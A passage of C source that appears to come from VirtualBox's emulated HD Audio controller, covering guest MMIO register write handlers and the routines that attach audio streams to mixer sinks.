success to the MMIO handler. */ } static int hdaRegWriteSDFIFOW(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); uint8_t uSD = HDA_SD_NUM_FROM_REG(pThis, FIFOW, iReg); if (hdaGetDirFromSD(uSD) != PDMAUDIODIR_IN) /* FIFOW for input streams only. */ { #ifndef IN_RING0 LogRel(("HDA: Warning: Guest tried to write read-only FIFOW to output stream #%RU8, ignoring\n", uSD)); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; #else DEVHDA_UNLOCK(pThis); return VINF_IOM_R3_MMIO_WRITE; #endif } PHDASTREAM pStream = hdaGetStreamFromSD(pThis, HDA_SD_NUM_FROM_REG(pThis, FIFOW, iReg)); if (!pStream) { AssertMsgFailed(("[SD%RU8] Warning: Changing FIFOW on non-attached stream (0x%x)\n", uSD, u32Value)); int rc = hdaRegWriteU16(pThis, iReg, u32Value); DEVHDA_UNLOCK(pThis); return rc; } uint32_t u32FIFOW = 0; switch (u32Value) { case HDA_SDFIFOW_8B: case HDA_SDFIFOW_16B: case HDA_SDFIFOW_32B: u32FIFOW = u32Value; break; default: ASSERT_GUEST_LOGREL_MSG_FAILED(("Guest tried write unsupported FIFOW (0x%x) to stream #%RU8, defaulting to 32 bytes\n", u32Value, uSD)); u32FIFOW = HDA_SDFIFOW_32B; break; } if (u32FIFOW) { pStream->u16FIFOW = hdaSDFIFOWToBytes(u32FIFOW); LogFunc(("[SD%RU8] Updating FIFOW to %RU32 bytes\n", uSD, pStream->u16FIFOW)); int rc2 = hdaRegWriteU16(pThis, iReg, u32FIFOW); AssertRC(rc2); } DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; /* Always return success to the MMIO handler. */ } /** * @note This method could be called for changing value on Output Streams only (ICH6 datasheet 18.2.39). */ static int hdaRegWriteSDFIFOS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); uint8_t uSD = HDA_SD_NUM_FROM_REG(pThis, FIFOS, iReg); if (hdaGetDirFromSD(uSD) != PDMAUDIODIR_OUT) /* FIFOS for output streams only. */ { LogRel(("HDA: Warning: Guest tried to write read-only FIFOS to input stream #%RU8, ignoring\n", uSD)); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } PHDASTREAM pStream = hdaGetStreamFromSD(pThis, uSD); if (!pStream) { AssertMsgFailed(("[SD%RU8] Warning: Changing FIFOS on non-attached stream (0x%x)\n", uSD, u32Value)); int rc = hdaRegWriteU16(pThis, iReg, u32Value); DEVHDA_UNLOCK(pThis); return rc; } uint32_t u32FIFOS = 0; switch(u32Value) { case HDA_SDOFIFO_16B: case HDA_SDOFIFO_32B: case HDA_SDOFIFO_64B: case HDA_SDOFIFO_128B: case HDA_SDOFIFO_192B: case HDA_SDOFIFO_256B: u32FIFOS = u32Value; break; default: ASSERT_GUEST_LOGREL_MSG_FAILED(("Guest tried write unsupported FIFOS (0x%x) to stream #%RU8, defaulting to 192 bytes\n", u32Value, uSD)); u32FIFOS = HDA_SDOFIFO_192B; break; } if (u32FIFOS) { pStream->u16FIFOS = u32FIFOS + 1; LogFunc(("[SD%RU8] Updating FIFOS to %RU32 bytes\n", uSD, pStream->u16FIFOS)); int rc2 = hdaRegWriteU16(pThis, iReg, u32FIFOS); AssertRC(rc2); } DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; /* Always return success to the MMIO handler. */ } #ifdef IN_RING3 /** * Adds an audio output stream to the device setup using the given configuration. * * @returns IPRT status code. * @param pThis Device state. * @param pCfg Stream configuration to use for adding a stream. */ static int hdaR3AddStreamOut(PHDASTATE pThis, PPDMAUDIOSTREAMCFG pCfg) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); AssertPtrReturn(pCfg, VERR_INVALID_POINTER); AssertReturn(pCfg->enmDir == PDMAUDIODIR_OUT, VERR_INVALID_PARAMETER); LogFlowFunc(("Stream=%s\n", pCfg->szName)); int rc = VINF_SUCCESS; bool fUseFront = true; /* Always use front out by default. */ # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND bool fUseRear; bool fUseCenter; bool fUseLFE; fUseRear = fUseCenter = fUseLFE = false; /* * Use commonly used setups for speaker configurations. */ /** @todo Make the following configurable through mixer API and/or CFGM? */ switch (pCfg->Props.cChannels) { case 3: /* 2.1: Front (Stereo) + LFE. */ { fUseLFE = true; break; } case 4: /* Quadrophonic: Front (Stereo) + Rear (Stereo). */ { fUseRear = true; break; } case 5: /* 4.1: Front (Stereo) + Rear (Stereo) + LFE. */ { fUseRear = true; fUseLFE = true; break; } case 6: /* 5.1: Front (Stereo) + Rear (Stereo) + Center/LFE. */ { fUseRear = true; fUseCenter = true; fUseLFE = true; break; } default: /* Unknown; fall back to 2 front channels (stereo). */ { rc = VERR_NOT_SUPPORTED; break; } } # else /* !VBOX_WITH_AUDIO_HDA_51_SURROUND */ /* Only support mono or stereo channels. */ if ( pCfg->Props.cChannels != 1 /* Mono */ && pCfg->Props.cChannels != 2 /* Stereo */) { rc = VERR_NOT_SUPPORTED; } # endif /* !VBOX_WITH_AUDIO_HDA_51_SURROUND */ if (rc == VERR_NOT_SUPPORTED) { LogRel2(("HDA: Warning: Unsupported channel count (%RU8), falling back to stereo channels (2)\n", pCfg->Props.cChannels)); /* Fall back to 2 channels (see below in fUseFront block). */ rc = VINF_SUCCESS; } do { if (RT_FAILURE(rc)) break; if (fUseFront) { RTStrPrintf(pCfg->szName, RT_ELEMENTS(pCfg->szName), "Front"); pCfg->DestSource.Dest = PDMAUDIOPLAYBACKDEST_FRONT; pCfg->enmLayout = PDMAUDIOSTREAMLAYOUT_NON_INTERLEAVED; pCfg->Props.cChannels = 2; pCfg->Props.cShift = PDMAUDIOPCMPROPS_MAKE_SHIFT_PARMS(pCfg->Props.cBits, pCfg->Props.cChannels); rc = hdaCodecAddStream(pThis->pCodec, PDMAUDIOMIXERCTL_FRONT, pCfg); } # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND if ( RT_SUCCESS(rc) && (fUseCenter || fUseLFE)) { RTStrPrintf(pCfg->szName, RT_ELEMENTS(pCfg->szName), "Center/LFE"); pCfg->DestSource.Dest = PDMAUDIOPLAYBACKDEST_CENTER_LFE; pCfg->enmLayout = PDMAUDIOSTREAMLAYOUT_NON_INTERLEAVED; pCfg->Props.cChannels = (fUseCenter && fUseLFE) ? 2 : 1; pCfg->Props.cShift = PDMAUDIOPCMPROPS_MAKE_SHIFT_PARMS(pCfg->Props.cBits, pCfg->Props.cChannels); rc = hdaCodecAddStream(pThis->pCodec, PDMAUDIOMIXERCTL_CENTER_LFE, pCfg); } if ( RT_SUCCESS(rc) && fUseRear) { RTStrPrintf(pCfg->szName, RT_ELEMENTS(pCfg->szName), "Rear"); pCfg->DestSource.Dest = PDMAUDIOPLAYBACKDEST_REAR; pCfg->enmLayout = PDMAUDIOSTREAMLAYOUT_NON_INTERLEAVED; pCfg->Props.cChannels = 2; pCfg->Props.cShift = PDMAUDIOPCMPROPS_MAKE_SHIFT_PARMS(pCfg->Props.cBits, pCfg->Props.cChannels); rc = hdaCodecAddStream(pThis->pCodec, PDMAUDIOMIXERCTL_REAR, pCfg); } # endif /* VBOX_WITH_AUDIO_HDA_51_SURROUND */ } while (0); LogFlowFuncLeaveRC(rc); return rc; } /** * Adds an audio input stream to the device setup using the given configuration. * * @returns IPRT status code. * @param pThis Device state. * @param pCfg Stream configuration to use for adding a stream. */ static int hdaR3AddStreamIn(PHDASTATE pThis, PPDMAUDIOSTREAMCFG pCfg) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); AssertPtrReturn(pCfg, VERR_INVALID_POINTER); AssertReturn(pCfg->enmDir == PDMAUDIODIR_IN, VERR_INVALID_PARAMETER); LogFlowFunc(("Stream=%s, Source=%ld\n", pCfg->szName, pCfg->DestSource.Source)); int rc; switch (pCfg->DestSource.Source) { case PDMAUDIORECSOURCE_LINE: { rc = hdaCodecAddStream(pThis->pCodec, PDMAUDIOMIXERCTL_LINE_IN, pCfg); break; } # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN case PDMAUDIORECSOURCE_MIC: { rc = hdaCodecAddStream(pThis->pCodec, PDMAUDIOMIXERCTL_MIC_IN, pCfg); break; } # endif default: rc = VERR_NOT_SUPPORTED; break; } LogFlowFuncLeaveRC(rc); return rc; } /** * Adds an audio stream to the device setup using the given configuration. * * @returns IPRT status code. * @param pThis Device state. * @param pCfg Stream configuration to use for adding a stream. */ static int hdaR3AddStream(PHDASTATE pThis, PPDMAUDIOSTREAMCFG pCfg) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); AssertPtrReturn(pCfg, VERR_INVALID_POINTER); int rc; LogFlowFuncEnter(); switch (pCfg->enmDir) { case PDMAUDIODIR_OUT: rc = hdaR3AddStreamOut(pThis, pCfg); break; case PDMAUDIODIR_IN: rc = hdaR3AddStreamIn(pThis, pCfg); break; default: rc = VERR_NOT_SUPPORTED; AssertFailed(); break; } LogFlowFunc(("Returning %Rrc\n", rc)); return rc; } /** * Removes an audio stream from the device setup using the given configuration. * * @returns IPRT status code. * @param pThis Device state. * @param pCfg Stream configuration to use for removing a stream. */ static int hdaR3RemoveStream(PHDASTATE pThis, PPDMAUDIOSTREAMCFG pCfg) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); AssertPtrReturn(pCfg, VERR_INVALID_POINTER); int rc = VINF_SUCCESS; PDMAUDIOMIXERCTL enmMixerCtl = PDMAUDIOMIXERCTL_UNKNOWN; switch (pCfg->enmDir) { case PDMAUDIODIR_IN: { LogFlowFunc(("Stream=%s, Source=%ld\n", pCfg->szName, pCfg->DestSource.Source)); switch (pCfg->DestSource.Source) { case PDMAUDIORECSOURCE_LINE: enmMixerCtl = PDMAUDIOMIXERCTL_LINE_IN; break; # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN case PDMAUDIORECSOURCE_MIC: enmMixerCtl = PDMAUDIOMIXERCTL_MIC_IN; break; # endif default: rc = VERR_NOT_SUPPORTED; break; } break; } case PDMAUDIODIR_OUT: { LogFlowFunc(("Stream=%s, Source=%ld\n", pCfg->szName, pCfg->DestSource.Dest)); switch (pCfg->DestSource.Dest) { case PDMAUDIOPLAYBACKDEST_FRONT: enmMixerCtl = PDMAUDIOMIXERCTL_FRONT; break; # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND case PDMAUDIOPLAYBACKDEST_CENTER_LFE: enmMixerCtl = PDMAUDIOMIXERCTL_CENTER_LFE; break; case PDMAUDIOPLAYBACKDEST_REAR: enmMixerCtl = PDMAUDIOMIXERCTL_REAR; break; # endif default: rc = VERR_NOT_SUPPORTED; break; } break; } default: rc = VERR_NOT_SUPPORTED; break; } if (RT_SUCCESS(rc)) rc = hdaCodecRemoveStream(pThis->pCodec, enmMixerCtl); LogFlowFuncLeaveRC(rc); return rc; } /** * Updates an audio device stream with the given configuration. * * @returns IPRT status code. * @param pThis HDA state. * @param pCfg Stream configuration to apply. */ static int hdaR3UpdateStream(PHDASTATE pThis, PPDMAUDIOSTREAMCFG pCfg) { /* Remove the old stream from the device setup. */ hdaR3RemoveStream(pThis, pCfg); /* Add the stream to the device setup. */ return hdaR3AddStream(pThis, pCfg); } #endif /* IN_RING3 */ static int hdaRegWriteSDFMT(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { DEVHDA_LOCK(pThis); # ifdef LOG_ENABLED if (!hdaGetStreamFromSD(pThis, HDA_SD_NUM_FROM_REG(pThis, FMT, iReg))) LogFunc(("[SD%RU8] Warning: Changing SDFMT on non-attached stream (0x%x)\n", HDA_SD_NUM_FROM_REG(pThis, FMT, iReg), u32Value)); # endif /* Write the wanted stream format into the register in any case. * * This is important for e.g. MacOS guests, as those try to initialize streams which are not reported * by the device emulation (wants 4 channels, only have 2 channels at the moment). * * When ignoring those (invalid) formats, this leads to MacOS thinking that the device is malfunctioning * and therefore disabling the device completely. */ int rc = hdaRegWriteU16(pThis, iReg, u32Value); AssertRC(rc); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; /* Never return failure. */ } /* Note: Will be called for both, BDPL and BDPU, registers. */ DECLINLINE(int) hdaRegWriteSDBDPX(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value, uint8_t uSD) { #ifdef IN_RING3 DEVHDA_LOCK(pThis); int rc2 = hdaRegWriteU32(pThis, iReg, u32Value); AssertRC(rc2); PHDASTREAM pStream = hdaGetStreamFromSD(pThis, uSD); if (!pStream) { DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } /* Update BDL base. */ pStream->u64BDLBase = RT_MAKE_U64(HDA_STREAM_REG(pThis, BDPL, uSD), HDA_STREAM_REG(pThis, BDPU, uSD)); # ifdef HDA_USE_DMA_ACCESS_HANDLER if (hdaGetDirFromSD(uSD) == PDMAUDIODIR_OUT) { /* Try registering the DMA handlers. * As we can't be sure in which order LVI + BDL base are set, try registering in both routines. */ if (hdaR3StreamRegisterDMAHandlers(pThis, pStream)) LogFunc(("[SD%RU8] DMA logging enabled\n", pStream->u8SD)); } # endif LogFlowFunc(("[SD%RU8] BDLBase=0x%x\n", pStream->u8SD, pStream->u64BDLBase)); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; /* Always return success to the MMIO handler. */ #else /* !IN_RING3 */ RT_NOREF_PV(pThis); RT_NOREF_PV(iReg); RT_NOREF_PV(u32Value); RT_NOREF_PV(uSD); return VINF_IOM_R3_MMIO_WRITE; #endif /* IN_RING3 */ } static int hdaRegWriteSDBDPL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { return hdaRegWriteSDBDPX(pThis, iReg, u32Value, HDA_SD_NUM_FROM_REG(pThis, BDPL, iReg)); } static int hdaRegWriteSDBDPU(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { return hdaRegWriteSDBDPX(pThis, iReg, u32Value, HDA_SD_NUM_FROM_REG(pThis, BDPU, iReg)); } static int hdaRegReadIRS(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_READ); /* regarding 3.4.3 we should mark IRS as busy in case CORB is active */ if ( HDA_REG(pThis, CORBWP) != HDA_REG(pThis, CORBRP) || (HDA_REG(pThis, CORBCTL) & HDA_CORBCTL_DMA)) { HDA_REG(pThis, IRS) = HDA_IRS_ICB; /* busy */ } int rc = hdaRegReadU32(pThis, iReg, pu32Value); DEVHDA_UNLOCK(pThis); return rc; } static int hdaRegWriteIRS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { RT_NOREF_PV(iReg); DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); /* * If the guest set the ICB bit of IRS register, HDA should process the verb in IC register, * write the response to IR register, and set the IRV (valid in case of success) bit of IRS register. */ if ( (u32Value & HDA_IRS_ICB) && !(HDA_REG(pThis, IRS) & HDA_IRS_ICB)) { #ifdef IN_RING3 uint32_t uCmd = HDA_REG(pThis, IC); if (HDA_REG(pThis, CORBWP) != HDA_REG(pThis, CORBRP)) { DEVHDA_UNLOCK(pThis); /* * 3.4.3: Defines behavior of immediate Command status register. */ LogRel(("HDA: Guest attempted process immediate verb (%x) with active CORB\n", uCmd)); return VINF_SUCCESS; } HDA_REG(pThis, IRS) = HDA_IRS_ICB; /* busy */ uint64_t uResp; int rc2 = pThis->pCodec->pfnLookup(pThis->pCodec, HDA_CODEC_CMD(uCmd, 0 /* LUN */), &uResp); if (RT_FAILURE(rc2)) LogFunc(("Codec lookup failed with rc2=%Rrc\n", rc2)); HDA_REG(pThis, IR) = (uint32_t)uResp; /** @todo r=andy Do we need a 64-bit response? */ HDA_REG(pThis, IRS) = HDA_IRS_IRV; /* result is ready */ /** @todo r=michaln We just set the IRS value, why are we clearing unset bits? */ HDA_REG(pThis, IRS) &= ~HDA_IRS_ICB; /* busy is clear */ DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; #else /* !IN_RING3 */ DEVHDA_UNLOCK(pThis); return VINF_IOM_R3_MMIO_WRITE; #endif /* !IN_RING3 */ } /* * Once the guest read the response, it should clear the IRV bit of the IRS register. */ HDA_REG(pThis, IRS) &= ~(u32Value & HDA_IRS_IRV); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } static int hdaRegWriteRIRBWP(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { RT_NOREF(iReg); DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); if (HDA_REG(pThis, CORBCTL) & HDA_CORBCTL_DMA) /* Ignore request if CORB DMA engine is (still) running. */ { LogFunc(("CORB DMA (still) running, skipping\n")); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } if (u32Value & HDA_RIRBWP_RST) { /* Do a RIRB reset. */ if (pThis->cbRirbBuf) { Assert(pThis->pu64RirbBuf); RT_BZERO((void *)pThis->pu64RirbBuf, pThis->cbRirbBuf); } LogRel2(("HDA: RIRB reset\n")); HDA_REG(pThis, RIRBWP) = 0; } /* The remaining bits are O, see 6.2.22. */ DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } static int hdaRegWriteRINTCNT(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); if (HDA_REG(pThis, CORBCTL) & HDA_CORBCTL_DMA) /* Ignore request if CORB DMA engine is (still) running. */ { LogFunc(("CORB DMA is (still) running, skipping\n")); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } int rc = hdaRegWriteU16(pThis, iReg, u32Value); AssertRC(rc); LogFunc(("Response interrupt count is now %RU8\n", HDA_REG(pThis, RINTCNT) & 0xFF)); DEVHDA_UNLOCK(pThis); return rc; } static int hdaRegWriteBase(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { uint32_t iRegMem = g_aHdaRegMap[iReg].mem_idx; DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); int rc = hdaRegWriteU32(pThis, iReg, u32Value); AssertRCSuccess(rc); switch (iReg) { case HDA_REG_CORBLBASE: pThis->u64CORBBase &= UINT64_C(0xFFFFFFFF00000000); pThis->u64CORBBase |= pThis->au32Regs[iRegMem]; break; case HDA_REG_CORBUBASE: pThis->u64CORBBase &= UINT64_C(0x00000000FFFFFFFF); pThis->u64CORBBase |= ((uint64_t)pThis->au32Regs[iRegMem] << 32); break; case HDA_REG_RIRBLBASE: pThis->u64RIRBBase &= UINT64_C(0xFFFFFFFF00000000); pThis->u64RIRBBase |= pThis->au32Regs[iRegMem]; break; case HDA_REG_RIRBUBASE: pThis->u64RIRBBase &= UINT64_C(0x00000000FFFFFFFF); pThis->u64RIRBBase |= ((uint64_t)pThis->au32Regs[iRegMem] << 32); break; case HDA_REG_DPLBASE: { pThis->u64DPBase = pThis->au32Regs[iRegMem] & DPBASE_ADDR_MASK; Assert(pThis->u64DPBase % 128 == 0); /* Must be 128-byte aligned. */ /* Also make sure to handle the DMA position enable bit. */ pThis->fDMAPosition = pThis->au32Regs[iRegMem] & RT_BIT_32(0); LogRel(("HDA: %s DMA position buffer\n", pThis->fDMAPosition ? "Enabled" : "Disabled")); break; } case HDA_REG_DPUBASE: pThis->u64DPBase = RT_MAKE_U64(RT_LO_U32(pThis->u64DPBase) & DPBASE_ADDR_MASK, pThis->au32Regs[iRegMem]); break; default: AssertMsgFailed(("Invalid index\n")); break; } LogFunc(("CORB base:%llx RIRB base: %llx DP base: %llx\n", pThis->u64CORBBase, pThis->u64RIRBBase, pThis->u64DPBase)); DEVHDA_UNLOCK(pThis); return rc; } static int hdaRegWriteRIRBSTS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { RT_NOREF_PV(iReg); DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); uint8_t v = HDA_REG(pThis, RIRBSTS); HDA_REG(pThis, RIRBSTS) &= ~(v & u32Value); #ifndef LOG_ENABLED int rc = hdaProcessInterrupt(pThis); #else int rc = hdaProcessInterrupt(pThis, __FUNCTION__); #endif DEVHDA_UNLOCK(pThis); return rc; } #ifdef IN_RING3 /** * Retrieves a corresponding sink for a given mixer control. * Returns NULL if no sink is found. * * @return PHDAMIXERSINK * @param pThis HDA state. * @param enmMixerCtl Mixer control to get the corresponding sink for. */ static PHDAMIXERSINK hdaR3MixerControlToSink(PHDASTATE pThis, PDMAUDIOMIXERCTL enmMixerCtl) { PHDAMIXERSINK pSink; switch (enmMixerCtl) { case PDMAUDIOMIXERCTL_VOLUME_MASTER: /* Fall through is intentional. */ case PDMAUDIOMIXERCTL_FRONT: pSink = &pThis->SinkFront; break; # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND case PDMAUDIOMIXERCTL_CENTER_LFE: pSink = &pThis->SinkCenterLFE; break; case PDMAUDIOMIXERCTL_REAR: pSink = &pThis->SinkRear; break; # endif case PDMAUDIOMIXERCTL_LINE_IN: pSink = &pThis->SinkLineIn; break; # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN case PDMAUDIOMIXERCTL_MIC_IN: pSink = &pThis->SinkMicIn; break; # endif default: pSink = NULL; AssertMsgFailed(("Unhandled mixer control\n")); break; } return pSink; } /** * Adds a driver stream to a specific mixer sink. * * @returns IPRT status code (ignored by caller). * @param pThis HDA state. * @param pMixSink Audio mixer sink to add audio streams to. * @param pCfg Audio stream configuration to use for the audio streams to add. * @param pDrv Driver stream to add. */ static int hdaR3MixerAddDrvStream(PHDASTATE pThis, PAUDMIXSINK pMixSink, PPDMAUDIOSTREAMCFG pCfg, PHDADRIVER pDrv) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); AssertPtrReturn(pMixSink, VERR_INVALID_POINTER); AssertPtrReturn(pCfg, VERR_INVALID_POINTER); LogFunc(("Sink=%s, Stream=%s\n", pMixSink->pszName, pCfg->szName)); PPDMAUDIOSTREAMCFG pStreamCfg = DrvAudioHlpStreamCfgDup(pCfg); if (!pStreamCfg) return VERR_NO_MEMORY; LogFunc(("[LUN#%RU8] %s\n", pDrv->uLUN, pStreamCfg->szName)); int rc = VINF_SUCCESS; PHDADRIVERSTREAM pDrvStream = NULL; if (pStreamCfg->enmDir == PDMAUDIODIR_IN) { LogFunc(("enmRecSource=%d\n", pStreamCfg->DestSource.Source)); switch (pStreamCfg->DestSource.Source) { case PDMAUDIORECSOURCE_LINE: pDrvStream = &pDrv->LineIn; break; # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN case PDMAUDIORECSOURCE_MIC: pDrvStream = &pDrv->MicIn; break; # endif default: rc = VERR_NOT_SUPPORTED; break; } } else if (pStreamCfg->enmDir == PDMAUDIODIR_OUT) { LogFunc(("enmPlaybackDest=%d\n", pStreamCfg->DestSource.Dest)); switch (pStreamCfg->DestSource.Dest) { case PDMAUDIOPLAYBACKDEST_FRONT: pDrvStream = &pDrv->Front; break; # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND case PDMAUDIOPLAYBACKDEST_CENTER_LFE: pDrvStream = &pDrv->CenterLFE; break; case PDMAUDIOPLAYBACKDEST_REAR: pDrvStream = &pDrv->Rear; break; # endif default: rc = VERR_NOT_SUPPORTED; break; } } else rc = VERR_NOT_SUPPORTED; if (RT_SUCCESS(rc)) { AssertPtr(pDrvStream); AssertMsg(pDrvStream->pMixStrm == NULL, ("[LUN#%RU8] Driver stream already present when it must not\n", pDrv->uLUN)); PAUDMIXSTREAM pMixStrm; rc = AudioMixerSinkCreateStream(pMixSink, pDrv->pConnector, pStreamCfg, 0 /* fFlags */, &pMixStrm); LogFlowFunc(("LUN#%RU8: Created stream \"%s\" for sink, rc=%Rrc\n", pDrv->uLUN, pStreamCfg->szName, rc)); if (RT_SUCCESS(rc)) { rc = AudioMixerSinkAddStream(pMixSink, pMixStrm); LogFlowFunc(("LUN#%RU8: Added stream \"%s\" to sink, rc=%Rrc\n", pDrv->uLUN, pStreamCfg->szName, rc)); if (RT_SUCCESS(rc)) { /* If this is an input stream, always set the latest (added) stream * as the recording source. * @todo Make the recording source dynamic (CFGM?). */ if (pStreamCfg->enmDir == PDMAUDIODIR_IN) { PDMAUDIOBACKENDCFG Cfg; rc = pDrv->pConnector->pfnGetConfig(pDrv->pConnector, &Cfg); if ( RT_SUCCESS(rc) && Cfg.cMaxStreamsIn) /* At least one input source available? */ { rc = AudioMixerSinkSetRecordingSource(pMixSink, pMixStrm); LogFlowFunc(("LUN#%RU8: Recording source is now '%s', rc=%Rrc\n", pDrv->uLUN, pStreamCfg->szName, rc)); LogRel2(("HDA: Set recording source to '%s'\n", pStreamCfg->szName)); } else if (RT_FAILURE(rc)) LogFunc(("LUN#%RU8: Unable to retrieve backend configuratio for '%s', rc=%Rrc\n", pDrv->uLUN, pStreamCfg->szName, rc)); } } } if (RT_SUCCESS(rc)) pDrvStream->pMixStrm = pMixStrm; } RTMemFree(pStreamCfg); LogFlowFuncLeaveRC(rc); return rc; } /** * Adds all current driver streams to a specific mixer sink. * * @returns IPRT status code. * @param pThis HDA state. * @param pMixSink Audio mixer sink to add stream to. * @param pCfg Audio stream configuration to use for the audio streams to add. */ static int hdaR3MixerAddDrvStreams(PHDASTATE pThis, PAUDMIXSINK pMixSink, PPDMAUDIOSTREAMCFG pCfg) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); AssertPtrReturn(pMixSink, VERR_INVALID_POINTER); AssertPtrReturn(pCfg, VERR_INVALID_POINTER); LogFunc(("Sink=%s, Stream=%s\n", pMixSink->pszName, pCfg->szName)); if (!DrvAudioHlpStreamCfgIsValid(pCfg)) return VERR_INVALID_PARAMETER; int rc = AudioMixerSinkSetFormat(pMixSink, &pCfg->Props); if (RT_FAILURE(rc)) return rc; PHDADRIVER pDrv; RTListForEach(&pThis->lstDrv, pDrv, HDADRIVER, Node) { int rc2 = hdaR3MixerAddDrvStream(pThis, pMixSink, pCfg, pDrv); if (RT_FAILURE(rc2)) LogFunc(("Attaching stream failed with %Rrc\n", rc2)); /* Do not pass failure to rc here, as there might be drivers which aren't * configured / ready yet. */ } return rc; } /** * @interface_method_impl{HDACODEC,pfnCbMixerAddStream} * * Adds a new audio stream to a specific mixer control. * * Depending on the mixer control the stream then gets assigned to one of the internal * mixer sinks, which in turn then handle the mixing of all connected streams to that sink. * * @return IPRT status code. * @param pThis HDA state. * @param enmMixerCtl Mixer control to assign new stream to. * @param pCfg Stream configuration for the new stream. */ static DECLCALLBACK(int) hdaR3MixerAddStream(PHDASTATE pThis, PDMAUDIOMIXERCTL enmMixerCtl, PPDMAUDIOSTREAMCFG pCfg) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); AssertPtrReturn(pCfg, VERR_INVALID_POINTER); int rc; PHDAMIXERSINK pSink = hdaR3MixerControlToSink(pThis, enmMixerCtl); if (pSink) { rc = hdaR3MixerAddDrvStreams(pThis, pSink->pMixSink, pCfg); AssertPtr(pSink->pMixSink); LogFlowFunc(("Sink=%s, Mixer control=%s\n", pSink->pMixSink->pszName, DrvAudioHlpAudMixerCtlToStr(enmMixerCtl))); } else rc = VERR_NOT_FOUND; LogFlowFuncLeaveRC(rc); return rc; } /** * @interface_method_impl{HDACODEC,pfnCbMixerRemoveStream} * * Removes a specified mixer control from the HDA's mixer. * * @return IPRT status code. * @param pThis HDA state. * @param enmMixerCtl Mixer control to remove. * * @remarks Can be called as a callback by the HDA codec. */ static DECLCALLBACK(int) hdaR3MixerRemoveStream(PHDASTATE pThis, PDMAUDIOMIXERCTL enmMixerCtl) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); int rc; PHDAMIXERSINK pSink = hdaR3MixerControlToSink(pThis, enmMixerCtl); if (pSink) { PHDADRIVER pDrv; RTListForEach(&pThis->lstDrv, pDrv, HDADRIVER, Node) { PAUDMIXSTREAM pMixStream = NULL; switch (enmMixerCtl) { /* * Input. */ case PDMAUDIOMIXERCTL_LINE_IN: pMixStream = pDrv->LineIn.pMixStrm; pDrv->LineIn.pMixStrm = NULL; break; # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN case PDMAUDIOMIXERCTL_MIC_IN: pMixStream = pDrv->MicIn.pMixStrm; pDrv->MicIn.pMixStrm = NULL; break; # endif /* * Output. */ case PDMAUDIOMIXERCTL_FRONT: pMixStream = pDrv->Front.pMixStrm; pDrv->Front.pMixStrm = NULL; break; # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND case PDMAUDIOMIXERCTL_CENTER_LFE: pMixStream = pDrv->CenterLFE.pMixStrm; pDrv->CenterLFE.pMixStrm = NULL; break; case PDMAUDIOMIXERCTL_REAR: pMixStream = pDrv->Rear.pMixStrm; pDrv->Rear.pMixStrm = NULL; break; # endif default: AssertMsgFailed(("Mixer control %d not implemented\n", enmMixerCtl)); break; } if (pMixStream) { AudioMixerSinkRemoveStream(pSink->pMixSink, pMixStream); AudioMixerStreamDestroy(pMixStream); pMixStream = NULL; } } AudioMixerSinkRemoveAllStreams(pSink->pMixSink); rc = VINF_SUCCESS; } else rc = VERR_NOT_FOUND; LogFunc(("Mixer control=%s, rc=%Rrc\n", DrvAudioHlpAudMixerCtlToStr(enmMixerCtl), rc)); return rc; } /** * @interface_method_impl{HDACODEC,pfnCbMixerControl} * * Controls an input / output converter widget, that is, which converter is connected * to which stream (and channel). * * @returns IPRT status code. * @param pThis HDA State. * @param enmMixerCtl Mixer control to set SD stream number and channel for. * @param uSD SD stream number (number + 1) to set. Set to 0 for unassign. * @param uChannel Channel to set. Only valid if a valid SD stream number is specified. * * @remarks Can be called as a callback by the HDA codec. */ static DECLCALLBACK(int) hdaR3MixerControl(PHDASTATE pThis, 